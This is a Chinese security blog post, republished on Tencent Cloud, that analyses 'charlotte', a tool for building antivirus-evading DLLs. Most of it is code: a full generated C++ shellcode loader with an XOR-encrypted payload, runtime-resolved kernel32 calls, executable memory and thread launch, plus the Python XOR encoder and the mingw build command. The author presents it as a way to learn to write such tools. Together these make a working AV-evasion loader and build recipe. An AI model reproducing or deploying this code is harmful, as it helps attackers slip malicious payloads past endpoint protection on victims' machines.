专栏首页鸿鹄实验室免杀工具charlotte解析

免杀工具charlotte解析

前言

多看看别人的工具,自己也就会写了。(手动狗头)

charlotte是一款Python编写的自动化免杀工具,用来生成免杀的dll文件,在antiscan.me上为全绿,效果可见一斑。

官方地址如下;https://github.com/9emin1/charlotte,其依赖mingw-w64环境,可使用下面的命令安装:

apt-get install mingw-w64*

利用动态导出以及xor编码实现了对杀软的绕过。其文件很简单,只有一个简单的py文件以及一个cpp文件,根据以后以往的经验来看,大概率是通过py操作cpp,然后使用mingw去编译为dll文件。

找到移除代码并将其注释掉,这样可以方便我们进行分析。

此时运行程序,生成的cpp文件便可以拿来进行分析了。

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma comment (lib, "user32.lib")

unsigned char JCDlUYUy[] = { 0x8f, 0x31, 0xce, 0x82, 0x93, 0xa0, 0xa3, 0x66, 0x69, 0x6a, 0x32, 0x22, 0x38, 0x1d, 0x34, 0x32, 0x1e, 0x2b, 0x57, 0xbb, 0xf, 0x3b, 0xf8, 0x2b, 0x2d, 0x2e, 0xe8, 0x1a, 0x7b, 0x2e, 0xe2, 0x38, 0x53, 0x3b, 0xf2, 0x3f, 0x36, 0x2b, 0x47, 0xd4, 0x2c, 0x23, 0x27, 0x42, 0xba, 0x31, 0x7c, 0xa6, 0xcf, 0x74, 0x2, 0x1a, 0x6b, 0x46, 0x53, 0x32, 0xb8, 0x84, 0x6b, 0x22, 0x49, 0xa2, 0x84, 0x84, 0x38, 0x32, 0x22, 0x31, 0xc6, 0x34, 0x43, 0xc3, 0x21, 0x5a, 0x21, 0x6b, 0xa3, 0xf8, 0xf9, 0xc5, 0x66, 0x63, 0x48, 0x2b, 0xe3, 0xa9, 0x1e, 0x14, 0x3b, 0x78, 0x9d, 0x36, 0xe8, 0x0, 0x7b, 0x22, 0xe2, 0x2a, 0x53, 0x3a, 0x78, 0x9d, 0x85, 0x35, 0x0, 0x9c, 0xaf, 0x28, 0xe1, 0x47, 0xfb, 0x31, 0x4c, 0xb0, 0x2e, 0x79, 0xaa, 0x2e, 0x58, 0xaa, 0xdf, 0x32, 0xb8, 0x84, 0x6b, 0x22, 0x49, 0xa2, 0x5e, 0x89, 0x1f, 0x82, 0x3f, 0x7a, 0x1, 0x42, 0x6b, 0xd, 0x5a, 0xb7, 0x1c, 0xb2, 0x2b, 0x37, 0xf2, 0xd, 0x42, 0x2a, 0x49, 0xb3, 0x0, 0x28, 0xe1, 0x7f, 0x3b, 0x3d, 0xc6, 0x26, 0x7f, 0x1, 0x62, 0xb6, 0x28, 0xe1, 0x77, 0xfb, 0x31, 0x4c, 0xb6, 0x22, 0x10, 0x22, 0x3e, 0x37, 0x33, 0x29, 0x32, 0x21, 0xc, 0x3f, 0x22, 0x12, 0x2b, 0xe5, 0x85, 0x4a, 0x32, 0x21, 0x86, 0xad, 0x3e, 0x22, 0x11, 0x39, 0x2e, 0xe2, 0x78, 0x9a, 0x24, 0x86, 0xb2, 0x99, 0x3e, 0x0, 0xd9, 0x67, 0x69, 0x6a, 0x73, 0x73, 0x79, 0x4d, 0x66, 0x2b, 0xc5, 0xee, 0x67, 0x68, 0x6a, 0x73, 0x32, 0xc3, 0x7c, 0xed, 0xc, 0xcf, 0x9c, 0xb3, 0xd2, 0x9a, 0xc6, 0xd1, 0x2f, 0xc, 0xdc, 0xc5, 0xdd, 0xde, 0xfb, 0x96, 0xbf, 0x3b, 0xf0, 0xbd, 0x65, 0x5a, 0x65, 0x34, 0x69, 0xe6, 0x92, 0x8a, 0x6, 0x76, 0xc2, 0xa, 0x75, 0x11, 0x27, 0x9, 0x66, 0x30, 0x2b, 0xfa, 0xa9, 0x86, 0x98, 0x5, 0x2, 0x24, 0x0, 0x48, 0xc, 0x12, 0x16, 0x73 };
unsigned char eZoBiJrv[] = { 0x1d, 0x13, 0x8, 0x39, 0x27, 0x22, 0x6, 0x33, 0x2b, 0x29, 0x1f, 0x3b };
unsigned char flRsMjXxEqUg[] = { 0x7, 0x2e, 0x30, 0x37, 0x30, 0x35, 0xd, 0x3a, 0x30, 0x15, 0x13, 0x34, 0x24, 0x36 };
unsigned char UNvUUdosORtP[] = { 0x5, 0x22, 0x33, 0x4, 0x7, 0xd, 0x3d, 0x10, 0x25, 0x23, 0x31, 0x32 };
unsigned char ATBDYquVpQsA[] = { 0x3, 0x2b, 0x2, 0x24, 0x3e, 0x24, 0x1f, 0x3b, 0x2d, 0x1a, 0x2, 0x38, 0x2f, 0x24, 0x32, 0x12, 0x2e, 0xe, 0x1c };

unsigned int nRhWSUlMCH = sizeof(JCDlUYUy);
unsigned int QWcvhCDTV = sizeof(eZoBiJrv);
unsigned int EmlCIxyIVtZMB = sizeof(flRsMjXxEqUg);
unsigned int KrStpnMvdV = sizeof(UNvUUdosORtP);
unsigned int vpbJEJvZMwA = sizeof(ATBDYquVpQsA);

char OyFWAUEjbtSFRHn[] = "syMfcHcfijs";
char lnqWuuargPhxKMP[] = "KzzMRCjrGEpXt";
char ecNUArKcaf[] = "QGBCETajBzg";
char vsAmIjjJogRteUG[] = "FPVeshixW";
char BoQhJpMzQmTDnGO[] = "TJkPxKmhDte";

LPVOID (WINAPI * xUgwJldYot)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
BOOL (WINAPI * OVpMScQZe)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
HANDLE (WINAPI * GDqHQLdymeGF)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
DWORD (WINAPI * AMFrDPRFDB)(HANDLE hHandle, DWORD dwMilliseconds);

void bZmKQfetGTGMibw(char * data, size_t data_len, char * key, size_t key_len) {
        int j;
        
        j = 0;
        for (int i = 0; i < data_len; i++) {
                if (j == key_len - 1) j = 0;

                data[i] = data[i] ^ key[j];
                j++;
        }
}

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {

    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}

extern "C" {
__declspec(dllexport) BOOL WINAPI EUywcFyggt(void) {
  
  void * Lotjdjcv;
  BOOL icOQGcPfg;
  HANDLE PXGxcviMnUbGp;
      DWORD RqwSapwJJnUpb = 0;

        bZmKQfetGTGMibw((char *) eZoBiJrv, QWcvhCDTV, lnqWuuargPhxKMP, sizeof(lnqWuuargPhxKMP));

  xUgwJldYot = GetProcAddress(GetModuleHandle("kernel32.dll"), eZoBiJrv);
  Lotjdjcv = xUgwJldYot(0, nRhWSUlMCH, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  
  bZmKQfetGTGMibw((char *) JCDlUYUy, nRhWSUlMCH, OyFWAUEjbtSFRHn, sizeof(OyFWAUEjbtSFRHn));
  
  RtlMoveMemory(Lotjdjcv, JCDlUYUy, nRhWSUlMCH);
  
        bZmKQfetGTGMibw((char *) flRsMjXxEqUg, EmlCIxyIVtZMB, ecNUArKcaf, sizeof(ecNUArKcaf));

  OVpMScQZe = GetProcAddress(GetModuleHandle("kernel32.dll"), flRsMjXxEqUg);
  icOQGcPfg = OVpMScQZe(Lotjdjcv, nRhWSUlMCH, PAGE_EXECUTE_READ, &RqwSapwJJnUpb);

  // If all good, launch the payload
  if ( icOQGcPfg != 0 ) {
            bZmKQfetGTGMibw((char *) UNvUUdosORtP, KrStpnMvdV, vsAmIjjJogRteUG, sizeof(vsAmIjjJogRteUG));
            GDqHQLdymeGF = GetProcAddress(GetModuleHandle("kernel32.dll"), UNvUUdosORtP);
      PXGxcviMnUbGp = GDqHQLdymeGF(0, 0, (LPTHREAD_START_ROUTINE) Lotjdjcv, 0, 0, 0);
            bZmKQfetGTGMibw((char *) ATBDYquVpQsA, vpbJEJvZMwA, BoQhJpMzQmTDnGO, sizeof(BoQhJpMzQmTDnGO));
      AMFrDPRFDB = GetProcAddress(GetModuleHandle("kernel32.dll"), ATBDYquVpQsA);
      AMFrDPRFDB(PXGxcviMnUbGp, -1);
  }
  return TRUE;
  }
}

其中的calc_payload[]为我们的shellcode,后面的则是随机生成的key和函数名,然后使用动态导出的方法来获取函数,原代码如下:

BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
XOR((char *) virtual_protect, vp_len, vp_key, sizeof(vp_key));

  pVirtualProtect = GetProcAddress(GetModuleHandle("kernel32.dll"), virtual_protect);
  rvba = pVirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

而这些实现,则是用的py实现,获取随机字符串

def get_random_string():
    # With combination of lower and upper case
    length = random.randint(8, 15)
    result_str = ''.join(random.choice(string.ascii_letters) for i in range(length))
    # print random string
    return result_str

xor函数

def xor(data):
    
    key = get_random_string()
    l = len(key)
    output_str = ""

    for i in range(len(data)):
        current = data[i]
        current_key = key[i % len(key)]
        o = lambda x: x if isinstance(x, int) else ord(x) # handle data being bytes not string
        output_str += chr(o(current) ^ ord(current_key))

    ciphertext = '{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in output_str) + ' };'
    return ciphertext, key

剩下的就是一个替换了,最后使用ming-w去编译dll

os.system("x86_64-w64-mingw32-g++ -shared -o charlotte.dll charlotte.cpp -fpermissive >/dev/null 2>&1")

总结:工具技术均为常见技术,结合起来则出了不错的效果,当然dll的选择也是一个很好的点,参考之前生成service exe的工具。

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-05-23

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 免杀工具Sharperner浅析

    Sharperner是一款C#编写的自动化免杀工具,用来生成免杀的exe文件或者C++的loader,在antiscan.me上为全绿,效果可见一斑。

    鸿鹄实验室
  • charlotte免杀绕过主流杀软(实测绕过卡巴斯基,火绒)文章最后有下载地址哦

    Charlotte是一款基于C++实现的Shellcode启动器,并且完全不会被安全解决方案所检测到。

    网e渗透安全部
  • 工具解析 | 杀毒引擎惨遭打脸,黑帽大会爆惊天免杀工具

    今年的黑帽大会上,可谓是精彩不断。与往届大会对比看来,当属2017这届最有看头。各种推陈出新的技术暂且不论,光是爆出的新免杀工具AVET就足以惊艳全场。 该工具...

    FB客服
  • 工具推荐:BadAssMacros免杀宏生成器

    在众多的攻击方式中,钓鱼文档攻击仍然扮演者重要的地位,而随着各类安全防护设备的成熟,宏免杀一直是我们所讨论的问题,之前有MacroPack(收费版仍然好...

    鸿鹄实验室
  • Charlotte:完全不会被检测到的Shellcode启动器

    Charlotte是一款基于C++实现的Shellcode启动器,并且完全不会被安全解决方案所检测到。

    FB客服
  • Hadley Wickham 采访节选(二)

    Hadley (羞涩脸):“那总比别人叫他们 Hadley-verse好吧!” ╮(╯▽╰)╭

    用户7652506
  • 远控免杀从入门到实践——工具总结篇

    在了解了免杀的一些基础知识和 Metasploit 自带的一些免杀方式之后,我开始学习和研究市面上知名度比较高的免杀工具,从互联网上找到了大约 30 多个免杀工...

    FB客服
  • Hadley Wickham 采访节选(一)

    Hadley (羞涩脸):“那总比别人叫他们 Hadley-verse好吧!” ╮(╯▽╰)╭

    用户7652506
  • 大比拼:用24种可视化工具完成同一项任务的心得体会

    亲爱的读者,你是否也有在特定场景使用的非常便捷的软件,欢迎评论区留言给我们,和大家分享这些使工作得心应手、效率百倍的瞬间!

    大数据文摘
  • 重磅! | 比Pytorch Hub更早?三分钟带你弄懂Paddle Hub!  

    前言:昨天看到一条爆炸性新闻—"PyTorch Hub发布!一行代码调用最潮模型",在我们调参圈简直震惊了!要是所有模型都能一行命令解决,我也不用一天到晚当调参...

    kbsc13
  • Bioinformatics|接触预测的演化:用于接触预测的方法正在发展

    接触预测在蛋白质结构与功能的预测与分析中起着重要的作用。目前接触预测方法的数量在不断增多,如何评价这些方法各自的优缺点也便成了一个问题。Bioinformati...

    DrugAI
  • 免杀方法大集结

    如果我们知道了一个文件是病毒,那么通过md5肯定可以判断一个就是这个病毒文件,那如果该病毒文件做了小小变动呢,直接md5肯定是不行了,那杀毒软件是怎么做的呢?这...

    HACK学习
  • Webshell免杀研究

    有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗、D盾、护卫神、云锁等安全软件查杀,在本篇文章中将会介绍一些常用的木马免杀技...

    Al1ex
  • 「限免」Adobe Launch调试和分析工具视频

    Adobe Launch上面的配置在发布之前是需要调试的,调试就需要用到调试工具。

    GA小站
  • fastjson解析json工具类

        这个是比较常用的解析json的工具类,用的是Alibaba的fastjson,功能很简单,就是把object变为json,把json变为object和l...

    天涯泪小武
  • 高能预警!警惕EnMiner挖矿大开杀戒

    近日,深信服发现一种具有高强度病毒对抗行为的新型的挖矿病毒,其病毒机制与常规挖矿相差较大,一旦感染上,清理难度极大。目前该病毒处于爆发初期,深信服已将此病毒命名...

    FB客服
  • 工具 | 一张图,教你用25种可视化工具如何完成

    散点图真是一个比较神奇的图形,正如它的名字一样,一堆纷乱如麻的圆点,看似无迹可寻却能显示出数据难以显示的内在逻辑关系。很多人称它“万表之王”,它在数据分析师手...

    小莹莹
  • 《柳叶刀》子刊:四秒内诊断出心脏病,AI可以和医生一样“出色”

    近期,伦敦大学学院(UCL)的一项新试验表明,一个AI程序可以在短时间内以与医生相同的精准度读取扫描结果。

    大数据文摘
  • 红队 | CS加载宏上线初探

    邮件钓鱼通常出现在APT攻击里面,但是在日常生活中我们的邮箱也会经常出现一些钓鱼邮件,为了更好的了解原理,我在本地探索了一下宏上线钓鱼邮件,分享出来供师傅们交流...

    HACK学习

扫码关注云+社区

领取腾讯云代金券